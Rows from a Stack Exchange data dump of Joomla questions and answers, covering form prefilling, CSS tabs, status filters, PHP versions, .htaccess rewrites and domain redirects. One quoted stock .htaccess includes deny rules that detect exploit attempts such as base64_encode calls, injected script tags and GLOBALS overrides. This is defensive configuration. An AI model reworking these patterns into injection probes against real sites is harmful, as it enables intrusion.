  <row Id="14891" PostTypeId="2" ParentId="14890" CreationDate="2016-01-07T15:27:43.933" Score="1" Body="&lt;p&gt;My assumption with this answer is you are developing a component handling the contact form view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The correct way to handle this would be in your Contact model.  Technically, proper form in the MVC would require retrieving and santitizing URL params in the controllers, but for simplicity sake we'll focus on the model portion.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the model overload the loadFormData method from the parent class.  It is in here you can alter XML form definition field attributes and values.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * Method to get the data that should be injected in the form.&#xA; *&#xA; * @return  array  The default data is an empty array.&#xA; *&#xA; * @since   1.6&#xA; */&#xA;protected function loadFormData()&#xA;{&#xA; // Check the session for previously entered form data.&#xA;    $data = JFactory::getApplication()-&amp;gt;getUserState('com_mycomponent.edit.contact.data', array());&#xA;&#xA;    if (empty($data))&#xA;    {&#xA;        $data = $this-&amp;gt;getItem();&#xA;    }&#xA;&#xA;    // Load core JInput class to retrieve URL params&#xA;    $input = JFactory::getApplication()-&amp;gt;input;&#xA;&#xA;    // Add values for params to data if present&#xA;    $data-&amp;gt;contact_emailmsg = $input-&amp;gt;get('jform_contact_emailmsg', null, 'string');&#xA;    $data-&amp;gt;contact_subject = $input-&amp;gt;get('jform_contact_subject', null, 'string');&#xA;&#xA;    return $data;   &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;A final note on how you are constructing the URLs.  I noticed you have two variations for the same form field value, which I'm not sure you need.  It appears you have really only need two links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://my.domain/index.php/contact?jform_contact_emailmsg=test&#xA;http://my.domain/index.php/contact?jform_contact_subject=test&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps!&lt;/p&gt;&#xA;" OwnerUserId="1906" LastActivityDate="2016-01-07T15:27:43.933" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14892" PostTypeId="1" CreationDate="2016-01-07T15:42:24.183" Score="-1" ViewCount="68" Body="&lt;p&gt;&lt;strong&gt;Problem:&lt;/strong&gt; So on this site, there is a products page. On this page, there is a tabbed box with a picture floating to the left of it. When the 'specs' tab is clicked, it expands into a long list of details for the product showcased to the left of it. However, when it expands, it pushes down the content from the product below but not the image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Things I have tried&lt;/strong&gt;: I tried putting elements in the 'commercial' product in a div so that everything can be pushed down but got the same result. I tried giving the div holding the specs tab a position of relative and a css rule of 'height:auto'. Nothing Ive tried seems to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Solution&lt;/strong&gt;: Would like for when you click on the specs tab for the 'residential' product that it pushes down all elements of the 'commercial' product and not just the text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla version&lt;/strong&gt;: 3.4.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Joomla plugin using&lt;/strong&gt;: Tabs and Sliders from JoomlaWorks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Link to website&lt;/strong&gt;: &lt;a href=&quot;http://www.iusepv.com/solar-panels-generators-north-carolina-winston-salem/&quot; rel=&quot;nofollow&quot;&gt;http://www.iusepv.com/solar-panels-generators-north-carolina-winston-salem/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML Code&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;hr /&amp;gt;&#xA;&amp;lt;p style=&quot;float: left;&quot;&amp;gt;&amp;lt;img src=&quot;images/13kw-generator.png&quot; alt=&quot;&quot; width=&quot;174&quot; height=&quot;174&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;div class=&quot;mob-only&quot; style=&quot;float: right; width: 70%;&quot;&amp;gt;&#xA;&amp;lt;p style=&quot;color: green; font-weight: bold; font-size: 27px;&quot;&amp;gt;RESIDENTIAL&amp;lt;/p&amp;gt;&#xA;&amp;lt;p style=&quot;font-size: 14px; font-weight: bold; color: #989898;&quot;&amp;gt;13kw Generator System by GE with Symphony II 200A (SED)&amp;lt;/p&amp;gt;&#xA;&amp;lt;p style=&quot;color: green;&quot;&amp;gt;You don't need a larger generator. Just a smarter one.&amp;lt;/p&amp;gt;&#xA;&amp;lt;p style=&quot;margin-bottom: 1%;&quot;&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{tab=Description} In the past, selecting a home generator system meant choosing between a smaller unit that would only power the barest essentials, or a much larger, more fuel-hungry and costly unit. Our 13kW Home Generator System is perfect for smaller to medium-sized homes. The installation would include the Symphony® II Power Management System which would allow you to meet the power needs of your whole house, (including up to two 4-ton air conditioners). Compared to other whole house generators, this unit has a 15% smaller footprint and blends in beautifully with your home’s exterior. This home generator also features one of the best comprehensive parts and labor warranties in the business - 4 year limited warranty. {tab=Specs}&amp;lt;/p&amp;gt;&#xA;&amp;lt;strong&amp;gt;Watts(LP)&amp;lt;/strong&amp;gt; | 13000&amp;lt;br /&amp;gt; &amp;lt;strong&amp;gt;Watts(NP)&amp;lt;/strong&amp;gt; | 11500 &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Engine Brand&amp;lt;/strong&amp;gt; | Briggs &amp;amp;amp; Stratton &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Engine Series&amp;lt;/strong&amp;gt; | Professional Series &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;CC&amp;lt;/strong&amp;gt; | 810&amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Number of Cylinders&amp;lt;/strong&amp;gt; | 2 &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Operation&amp;lt;/strong&amp;gt; | Fully Automatic &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Voltage(V)&amp;lt;/strong&amp;gt; | 120/240 &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Amps (240V):(LP)&amp;lt;/strong&amp;gt; | 54.2 &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Amps(240V):(NG)&amp;lt;/strong&amp;gt; | 47.9&amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Alternator Type&amp;lt;/strong&amp;gt; | Brushed &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Fuel Consumption(Cubic Feet per Hour @ Half Load)&amp;lt;/strong&amp;gt; | 93(NG), 49(LP)&amp;lt;br /&amp;gt; &amp;lt;strong&amp;gt;Fuel Pressure Lubrication&amp;lt;/strong&amp;gt; | Yes &amp;lt;strong&amp;gt;Weekly Exerciser&amp;lt;/strong&amp;gt; | Yes &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Battery/Battery Charger&amp;lt;/strong&amp;gt; | Battery Sold Separately, Battery Charger Included&amp;lt;br /&amp;gt; &amp;lt;strong&amp;gt;Overcrank Protection&amp;lt;/strong&amp;gt; | Yes&amp;lt;br /&amp;gt; &amp;lt;strong&amp;gt;Hour Meter&amp;lt;/strong&amp;gt; | Yes &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Diagnostic Alerts with Remote System Status&amp;lt;/strong&amp;gt; | No &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Length&amp;lt;/strong&amp;gt; | 34.6&quot; &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Width&amp;lt;/strong&amp;gt; | 39.4&quot; &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Height(lbs)&amp;lt;/strong&amp;gt; | 540&amp;lt;br /&amp;gt; &amp;lt;strong&amp;gt;Weight(lbs)&amp;lt;/strong&amp;gt; | 484&amp;lt;br /&amp;gt; &amp;lt;strong&amp;gt;Warranty&amp;lt;/strong&amp;gt; | 4 Year Limited Parts and Labor &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;MSRP&amp;lt;/strong&amp;gt; | $3,299.00{tab=Images} &amp;lt;a title=&quot;Interior of Generator&quot; href=&quot;images/image001.jpg&quot; rel=&quot;sexylightbox&quot;&amp;gt;&amp;lt;img style=&quot;margin-right: 3px;&quot; src=&quot;images/image001.jpg&quot; alt=&quot;&quot; width=&quot;100&quot; height=&quot;100&quot; /&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;a title=&quot;Sizes and Height&quot; href=&quot;images/image002.jpg&quot; rel=&quot;sexylightbox&quot;&amp;gt;&amp;lt;img src=&quot;images/image002.jpg&quot; alt=&quot;&quot; width=&quot;100&quot; height=&quot;100&quot; /&amp;gt;&amp;lt;/a&amp;gt;{/tabs} {loadposition myposition}&amp;lt;/div&amp;gt;&#xA;&amp;lt;div style=&quot;margin-bottom: 60%;&quot;&amp;gt; &amp;lt;/div&amp;gt;&#xA;&amp;lt;hr /&amp;gt;&#xA;&amp;lt;p&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;div style=&quot;height: 577px;&quot;&amp;gt;&#xA;&amp;lt;p style=&quot;float: left;&quot;&amp;gt;&amp;lt;img src=&quot;images/17kw-generator.png&quot; alt=&quot;&quot; width=&quot;174&quot; height=&quot;174&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;div class=&quot;mob-only&quot; style=&quot;float: right; width: 70%;&quot;&amp;gt;&#xA;&amp;lt;p style=&quot;color: green; font-weight: bold; font-size: 27px;&quot;&amp;gt;COMMERCIAL&amp;lt;/p&amp;gt;&#xA;&amp;lt;p style=&quot;font-size: 14px; font-weight: bold; color: #989898;&quot;&amp;gt;17kw Generator System by GE with Symphony II 200A (SED)&amp;lt;/p&amp;gt;&#xA;&amp;lt;p style=&quot;color: green;&quot;&amp;gt;You don't need a larger generator. Just a smarter one.&amp;lt;/p&amp;gt;&#xA;&amp;lt;p style=&quot;margin-bottom: 1%;&quot;&amp;gt; &amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;{tab=Description} Due to its unique patented air flow design, this is one of our quietest generators yet. The 17kW unit also has advanced safeguards that meet the rigorous industry fire protection standards and is backup with one of the best comprehensive parts and labor warranties in the business - 5 year limited warranty. By using power management, GE Generator Systems power more of your home’s appliances with a smaller, more fuel-efficient home generator that allows your family to have whole-house managed backup power. Experience the tranquility of knowing your family is protected, with the GE 17kW home standby generator.  {tab=Specs}&amp;lt;/p&amp;gt;&#xA;&amp;lt;div id=&quot;sexyContent&quot; style=&quot;display: none;&quot;&amp;gt;&amp;lt;strong&amp;gt;Watts(LP)&amp;lt;/strong&amp;gt; | 17000&amp;lt;br /&amp;gt; &amp;lt;strong&amp;gt;Watts(NP)&amp;lt;/strong&amp;gt; | 15300 &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Engine Brand&amp;lt;/strong&amp;gt; | Briggs &amp;amp;amp; Stratton &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Engine Series&amp;lt;/strong&amp;gt; | Vanguard &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;CC&amp;lt;/strong&amp;gt; | 993 &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Number of Cylinders&amp;lt;/strong&amp;gt; | 2 &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Operation&amp;lt;/strong&amp;gt; | Fully Automatic &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Voltage(V)&amp;lt;/strong&amp;gt; | 120/240 &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Amps (240V):(LP)&amp;lt;/strong&amp;gt; | 71 &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Amps(240V):(NG)&amp;lt;/strong&amp;gt; | 64 &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Alternator Type&amp;lt;/strong&amp;gt; | Brushed &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Fuel Consumption(Cubic Feet per Hour @ Half Load)&amp;lt;/strong&amp;gt; | 118 ft(3)/hr, 3.28 gal/hr(Liquid Propane), 248 ft(3)/hr(Natural Gas)&amp;lt;br /&amp;gt; &amp;lt;strong&amp;gt;Fuel Pressure Lubrication&amp;lt;/strong&amp;gt; | Yes &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Weekly Exerciser&amp;lt;/strong&amp;gt; | Yes &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Battery/Battery Charger&amp;lt;/strong&amp;gt; | Battery Sold Separately, Battery Charger Included&amp;lt;br /&amp;gt; &amp;lt;strong&amp;gt;Overcrank Protection&amp;lt;/strong&amp;gt; | Yes&amp;lt;br /&amp;gt; &amp;lt;strong&amp;gt;Hour Meter&amp;lt;/strong&amp;gt; | Yes &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Diagnostic Alerts with Remote System Status&amp;lt;/strong&amp;gt; | Low Oil Shutdown, Engine Does Not Start, Low Voltage, Low Battery Voltage, Oil Temp High, and Transfer Switch &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Fault Length&amp;lt;/strong&amp;gt; | 48 &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Width&amp;lt;/strong&amp;gt; | 34 &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;Height&amp;lt;/strong&amp;gt; | 31&amp;lt;br /&amp;gt; &amp;lt;strong&amp;gt;Weight(lbs)&amp;lt;/strong&amp;gt; | 484&amp;lt;br /&amp;gt; &amp;lt;strong&amp;gt;Warranty&amp;lt;/strong&amp;gt; | 5 Year Limited Parts and Labor &amp;lt;br /&amp;gt;&amp;lt;strong&amp;gt;MSRP&amp;lt;/strong&amp;gt; | $4,499.00&amp;lt;/div&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;a title=&quot;Sample content&quot; href=&quot;#TB_inline?inlineId=sexyContent&amp;amp;amp;height=270&amp;amp;amp;width=400&amp;amp;amp;modal=1&quot; rel=&quot;sexylightbox&quot;&amp;gt;Click Here for Specifications&amp;lt;/a&amp;gt; {tab=Images} &amp;lt;a title=&quot;Sizes and Height&quot; href=&quot;images/genpic.jpg&quot; rel=&quot;sexylightbox&quot;&amp;gt;&amp;lt;img style=&quot;margin-right: 3px;&quot; src=&quot;images/genpic.jpg&quot; alt=&quot;&quot; width=&quot;100&quot; height=&quot;100&quot; /&amp;gt;&amp;lt;/a&amp;gt;{/tabs}&amp;lt;/p&amp;gt;&#xA;{loadposition myposition}&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If there is anything else I need to add, let me know.&lt;/p&gt;&#xA;" OwnerUserId="4131" LastEditorUserId="126" LastEditDate="2016-01-08T17:35:50.473" LastActivityDate="2016-01-08T17:35:50.473" Title="How do I get elements below tabs in div to be pushed down when clicked?" Tags="|css|" AnswerCount="1" CommentCount="3" ClosedDate="2016-01-08T17:36:23.217" ContentLicense="CC BY-SA 3.0" />
  <row Id="14893" PostTypeId="1" CreationDate="2016-01-07T22:13:19.283" Score="1" ViewCount="316" Body="&lt;p&gt;I use the below form field in the filter_mypage.xml of my custom component.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&quot;state&quot;&#xA;    type=&quot;status&quot;&#xA;    label=&quot;JOPTION_SELECT_PUBLISHED&quot;&#xA;    onchange=&quot;this.form.submit();&quot;&amp;gt;&#xA;      &amp;lt;option value=&quot;&quot;&amp;gt;JOPTION_SELECT_PUBLISHED&amp;lt;/option&amp;gt;&#xA;&amp;lt;/field&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By default this shows the options &lt;code&gt;Trashed&lt;/code&gt;, &lt;code&gt;Unpublished&lt;/code&gt;, &lt;code&gt;Published&lt;/code&gt;, &lt;code&gt;Archived&lt;/code&gt;, &lt;code&gt;All&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do not want the &lt;code&gt;Archived&lt;/code&gt; option and want to remove from the list.  Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="2239" LastActivityDate="2016-02-08T15:13:07.280" Title="Remove Archived option from status field" Tags="|joomla-3.x|form-fields-types|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14894" PostTypeId="1" AcceptedAnswerId="14917" CreationDate="2016-01-07T22:31:52.453" Score="5" ViewCount="2834" Body="&lt;p&gt;I'm brand new to web development and I've installed Joomla on my website. For whatever reason I can hardly do anything because my PHP version is only 5.3 according to Joomla.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, using my cpanel I changed the PHP to 5.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I get Joomla to update the PHP version?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Additional info:&lt;/strong&gt;&#xA;This is what it looks like, I don't understand why Joomla has a different php version.Below is also the error message I see when I try to install a template package.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/cEqLM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/cEqLM.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7576" LastEditorUserId="7576" LastEditDate="2016-01-09T00:21:07.757" LastActivityDate="2021-01-04T19:21:49.623" Title="Joomla PHP does not match host PHP" Tags="|php|update|cpanel|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="14895" PostTypeId="1" CreationDate="2016-01-07T22:36:55.467" Score="0" ViewCount="305" Body="&lt;p&gt;I would like to redirect any trafic which tries to acces com_users (any view) or the frontpage editing &lt;code&gt;(index.php?option=com_content&amp;amp;view=form&amp;amp;layout=edit)&lt;/code&gt; to the frontpage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to use any extensions for this, so I'm looking for a solution with .htaccess and web.config&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not so familiar with rewrite conditions so I'm sure I doing it the wrong way. But couldn't figure out the right. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I tried this for web.config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;rule name=&quot;Joomla! Rule 3, Deny com_users and editing&quot;&amp;gt;&#xA;    &amp;lt;match url=&quot;^(.*)$&quot; ignoreCase=&quot;false&quot; /&amp;gt;&#xA;    &amp;lt;conditions logicalGrouping=&quot;MatchAny&quot;&amp;gt;&#xA;        &amp;lt;add input=&quot;{QUERY_STRING}&quot; pattern=&quot;/?option=com_users&quot; /&amp;gt;&#xA;        &amp;lt;add input=&quot;{QUERY_STRING}&quot; pattern=&quot;layout=edit&quot; /&amp;gt;&#xA;        &amp;lt;add input=&quot;{REQUEST_FILENAME}&quot; pattern=&quot;index.php&quot; /&amp;gt;&#xA;    &amp;lt;/conditions&amp;gt;&#xA;    &amp;lt;action type=&quot;Rewrite&quot; url=&quot;index.php&quot; /&amp;gt;&#xA;&amp;lt;/rule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;end this for .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;RewriteCond %{REQUEST_URI} com_users #added this to the original Joomla! code&#xA;RewriteCond %{REQUEST_URI} edit #added this to the original Joomla! code&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7555" LastEditorUserId="126" LastEditDate="2016-01-09T06:47:30.400" LastActivityDate="2016-01-09T13:38:56.447" Title="Redirect to home if someone tries to access com_users or frontpage editing (.htaccess, web.config)" Tags="|joomla-3.x|.htaccess-configuration|redirect|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14896" PostTypeId="1" AcceptedAnswerId="14912" CreationDate="2016-01-07T22:54:02.960" Score="5" ViewCount="192" Body="&lt;p&gt;I wonder if there is a good component to inspect my &lt;code&gt;Joomla&lt;/code&gt; websites made on the 3.x branche.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On dedicated servers Joomla directory structure is frequently attacked by &lt;code&gt;eval&lt;/code&gt; code or file &lt;code&gt;SQL injection&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a good component to avoid malwares and intrusion (like a firewall) and to inspect the whole vulnerabilies ? &lt;/p&gt;&#xA;" OwnerUserId="7578" LastActivityDate="2016-01-10T08:42:06.867" Title="Is there a good component to prevent dos attack or hacking for 3.X branch of Joomla?" Tags="|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="14897" PostTypeId="2" ParentId="14598" CreationDate="2016-01-07T22:56:53.560" Score="2" Body="&lt;p&gt;Please goto &lt;a href=&quot;http://extensions.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://extensions.joomla.org/&lt;/a&gt; when looking for extensions.&lt;/p&gt;&#xA;&lt;p&gt;I can think of two extensions- &lt;a href=&quot;http://www.extensionsforjoomla.com/extensions-for-joomla/vik-appointments-e4j&quot; rel=&quot;nofollow noreferrer&quot;&gt;Vik Appointments&lt;/a&gt; and &lt;a href=&quot;http://joomdonation.com/joomla-extensions/joomla-services-appointment-booking.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;OS Services Booking&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;&lt;strong&gt;Vik Appointments&lt;/strong&gt; is an extension born to build a complete&#xA;appointments-scheduler system for your Joomla website. Designed to&#xA;schedule and organize appointments of any kind, for any kind of&#xA;service, business that needs to have a reliable availability calendar.&#xA;Accept reservations online and schedule the appointments for each&#xA;employee in a smart and efficient way.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;OS Services Booking&lt;/strong&gt; is Joomla online services schedule booking and&#xA;appointments management. This extension has a lot of great features to&#xA;make your services booking system helpful with the customers.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Disclaimer: I'm not affiliated with either software maker.&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2017-08-03T00:02:29.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14898" PostTypeId="1" AcceptedAnswerId="14911" CreationDate="2016-01-08T04:19:57.470" Score="2" ViewCount="47" Body="&lt;p&gt;I need to perform some actions after the user confirms their email accounts/registration. I have been looking for whether Joomla dispatches any events on registration confirmation but i still cant find any. It would be an honor if you guys could help me figure it out.&lt;/p&gt;&#xA;" OwnerUserId="7579" LastEditorUserId="115" LastEditDate="2016-01-08T04:40:45.387" LastActivityDate="2016-01-08T18:07:53.250" Title="Are there any events dispatched after a user's email confirmation in joomla 3.x?" Tags="|joomla-3.x|php|emails|registration|plugin-events|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="14899" PostTypeId="1" AcceptedAnswerId="14934" CreationDate="2016-01-08T05:00:47.743" Score="5" ViewCount="4476" Body="&lt;p&gt;I am newbie on Joomla. I have bought a new domain for my site that I want to use and have my site running on two different server under the 2 domain accordingly.&lt;/p&gt;&#xA;&lt;p&gt;I need to redirect the old domain and all its urls to the new domain at the new server.&lt;/p&gt;&#xA;&lt;p&gt;I tried changing from &lt;strong&gt;components &amp;gt; Redirect manager&lt;/strong&gt;- set the expired url and New url, but didn't see any changes.&lt;/p&gt;&#xA;&lt;h3&gt;update:&lt;/h3&gt;&#xA;&lt;p&gt;I added these lines to my htaccess in the localhost site. But they don't work.&lt;/p&gt;&#xA;&lt;p&gt;Modified &lt;code&gt;.htaccess&lt;/code&gt;-&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;RewriteEngine On&#xA;RewriteCond %{HTTP_HOST} ^localhost:8888/woodypub\$ [OR]&#xA;RewriteCond %{HTTP_HOST} ^localhost:8888/woodypub\$&#xA;RewriteRule (.*)$ http://www.yourNewDomain.com/$1 [R=301,L]&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My old &lt;code&gt;.htaccess&lt;/code&gt; -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;##&#xA;# @package   Joomla&#xA;# @copyright    Copyright (C) 2005 - 2012 Open Source Matters. All rights reserved.&#xA;# @license   GNU General Public License version 2 or later; see LICENSE.txt&#xA;##&#xA;&#xA;##&#xA;# READ THIS COMPLETELY IF YOU CHOOSE TO USE THIS FILE!&#xA;#&#xA;# The line just below this section: 'Options +FollowSymLinks' may cause problems&#xA;# with some server configurations.  It is required for use of mod_rewrite, but may already&#xA;# be set by your server administrator in a way that dissallows changing it in&#xA;# your .htaccess file.  If using it causes your server to error out, comment it out (add # to&#xA;# beginning of line), reload your site in your browser and test your sef url's.  If they work,&#xA;# it has been set by your server administrator and you do not need it set here.&#xA;##&#xA;&#xA;## Can be commented out if causes errors, see notes above.&#xA;Options +FollowSymLinks&#xA;&#xA;## Mod_rewrite in use.&#xA;&#xA;RewriteEngine On&#xA;&#xA;## Begin - Rewrite rules to block out some common exploits.&#xA;# If you experience problems on your site block out the operations listed below&#xA;# This attempts to block the most common type of exploit `attempts` to Joomla!&#xA;#&#xA;# Block out any script trying to base64_encode data within the URL.&#xA;RewriteCond %{QUERY_STRING} base64_encode[^(]*\([^)]*\) [OR]&#xA;# Block out any script that includes a &amp;lt;script&amp;gt; tag in URL.&#xA;RewriteCond %{QUERY_STRING} (&amp;lt;|%3C)([^s]*s)+cript.*(&amp;gt;|%3E) [NC,OR]&#xA;# Block out any script trying to set a PHP GLOBALS variable via URL.&#xA;RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]&#xA;# Block out any script trying to modify a _REQUEST variable via URL.&#xA;RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})&#xA;# Return 403 Forbidden header and show the content of the root homepage&#xA;RewriteRule .* index.php [F]&#xA;#&#xA;## End - Rewrite rules to block out some common exploits.&#xA;&#xA;## Begin - Custom redirects&#xA;#&#xA;# If you need to redirect some pages, or set a canonical non-www to&#xA;# www redirect (or vice versa), place that code here. Ensure those&#xA;# redirects use the correct RewriteRule syntax and the [R=301,L] flags.&#xA;#&#xA;## End - Custom redirects&#xA;&#xA;##&#xA;# Uncomment following line if your webserver's URL&#xA;# is not directly related to physical file paths.&#xA;# Update Your Joomla! Directory (just / for root).&#xA;##&#xA;&#xA;# RewriteBase /&#xA;&#xA;## Begin - Joomla! core SEF Section.&#xA;#&#xA;RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}]&#xA;#&#xA;# If the requested path and file is not /index.php and the request&#xA;# has not already been internally rewritten to the index.php script&#xA;RewriteCond %{REQUEST_URI} !^/index\.php&#xA;# and the request is for something within the component folder,&#xA;# or for the site root, or for an extensionless URL, or the&#xA;# requested URL ends with one of the listed extensions&#xA;RewriteCond %{REQUEST_URI} /component/|(/[^.]*|\.(php|html?|feed|pdf|vcf|raw))$ [NC]&#xA;# and the requested path and file doesn't directly match a physical file&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;# and the requested path and file doesn't directly match a physical folder&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;# internally rewrite the request to the index.php script&#xA;RewriteRule .* index.php [L]&#xA;#&#xA;## End - Joomla! core SEF Section.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7524" LastEditorUserId="-1" LastEditDate="2020-06-17T09:58:36.810" LastActivityDate="2016-04-08T22:31:33.313" Title="How can I redirect old domain to a new domain?" Tags="|.htaccess-configuration|redirect|server|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="14900" PostTypeId="2" ParentId="14899" CreationDate="2016-01-08T06:35:40.167" Score="1" Body="&lt;p&gt;Enable the &quot;System - Redirect&quot; plugin in &lt;code&gt;Extensions -&amp;gt; Plugins&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In normal operation of the website, I recommend setting &lt;code&gt;Extensions -&amp;gt; Plugins -&amp;gt; System - Redirect -&amp;gt; Collect URLs&lt;/code&gt; to &quot;Disabled&quot; otherwise thousands of failed urls tend to be collected in the database and there is no easy way to purge these except via phpMyAdmin or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; A &quot;Purge Unpublished&quot; button has been added since Joomla 3.5.0 to make it easier to purge unwanted urls from the database. Thank-you Brian Teeman.&lt;/p&gt;&#xA;" OwnerUserId="120" LastEditorUserId="120" LastEditDate="2016-04-08T22:31:33.313" LastActivityDate="2016-04-08T22:31:33.313" CommentCount="2" ContentLicense="CC BY-SA 3.0" 